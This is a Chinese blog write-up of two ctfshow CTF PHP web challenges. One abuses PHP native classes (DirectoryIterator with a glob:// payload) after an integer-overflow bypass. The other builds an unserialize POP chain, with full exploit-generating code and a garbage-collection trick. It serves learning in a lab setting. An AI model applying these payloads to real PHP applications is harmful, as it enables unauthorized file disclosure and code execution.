ctfshow(卷王杯)

easyweb

 首先打开界面,just so so , 然后我们查看源码,发现了source 路径直接进去访问

<?php
error_reporting(0);
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    echo "\$flag_filename = 'flag'.md5(???).'php';";
    die();
}
if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c'])){
    $c = $_POST['c'];
    $count[++$c] = 1;
    if($count[] = 1) {
        $count[++$c] = 1;
        print_r($count);
        die();
    }else{
        $a = $_POST['a'];
        $b = $_POST['b'];
        echo new $a($b);
    }
}
?>
$flag_filename = 'flag'.md5(???).'php';

首先我们看见了flag_filename,也就是flag的名字是flag开头.php结尾

然后进行php简单的代码审计

我们的突破口就是 else中的echo new $a($b);

首先我们的前提是if(isset($_POST['a']) && isset($_POST['b']) && isset($_POST['c']))

需要post 传参,a,b,c都存在

这是个等于号,相当于赋值,而对于数组无法赋值的情况就是当键溢出就行,可以看到上一句有++$c,也就是说我们设置c为int可设置的最大值减1,等它自增后就可以达到溢出无法赋值的效果

,只需要令c = 9223372036854775806自增一次溢出就可以了。

   echo new $a($b);然后这里应该就是一个原生类rce的题目了。

DirectoryIterator: DirectoryIterator类提供了一个查看文件系统目录内容的简单接口。 FilesystemIterator: 文件系统迭代器。
GlobIterator: 与glob()类似的方式迭代文件系统。

进行&a=DirectoryIterator&b=glob://flag[a-z0-9]*.php,为了达到获取flag文件名字的操作

然后继续利用原生类获取flag

 获得flag

easy unserialize

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $object;

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

老规矩安装习惯,先找链尾也就是最后执行输出flag的函数

 public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }看到输出flag,也就是one类中的 MeMeMe这个方法,然后往前推

 看了一下,没有直接调用方法显示在代码中的,所以我们需要从开头入手深度分析

public function __destruct() {
        @$this->object->add();
    }从one类下的魔术方法开头,这我看了一下所有的类没有add这个方法,看到有call方法,调用了不存在的方法,触发call魔术方法

 public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }second类中的call 方法,这个call_user_func比较陌生,讲解一下

如果是数组的话,第一个是类,第二个是方法,第三个是属性

  call_user_func([$this, $func."Me"], $args);调用当前的类,func是传入的addl链接Me

就是调用addMe方法,因为之中是用.作为了字符串链接,所以会调用 Tostring魔术方法

public function __toString() {
        return $this->object->string;
    }当前的类中没有string属性,则调用get魔术方法

public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    } 这里的name就是上面的string传进来的,但是   $var = $this->$name;  name前面有一个$

,$name="string",所以最后$var = $this->string

所以最后其实就是$this->string['string']();我们的目的就是让这个东西可以指向one::MeMeMe()最后就大功告成了。

$string = array("string"=>[new one(),"MeMeMe"]);即可以绕过

array_walk函数的作用就是遍历自定义函数,其中$fn的值为成员的值,prev为成员变量的名字

<?php
class one {
    public $object;
    public $year_parm=array(0=>"Happy_func");
}


class second {
    public $filename;
}


class third {
    private $string;


    public function __construct($string) {
        $this->string = $string;
    }
}


$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);

$n=null;
$payload=array($a,$n);

echo urlencode(serialize($payload));

      throw new Exception("高一新生报道");然后源代码这是GC回收机制

不可见的字符是%00,把最后的1改为0即可 

GC回收机制详解,浅谈PHP中GC回收机制的利用_errorr0的博客-CSDN博客

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值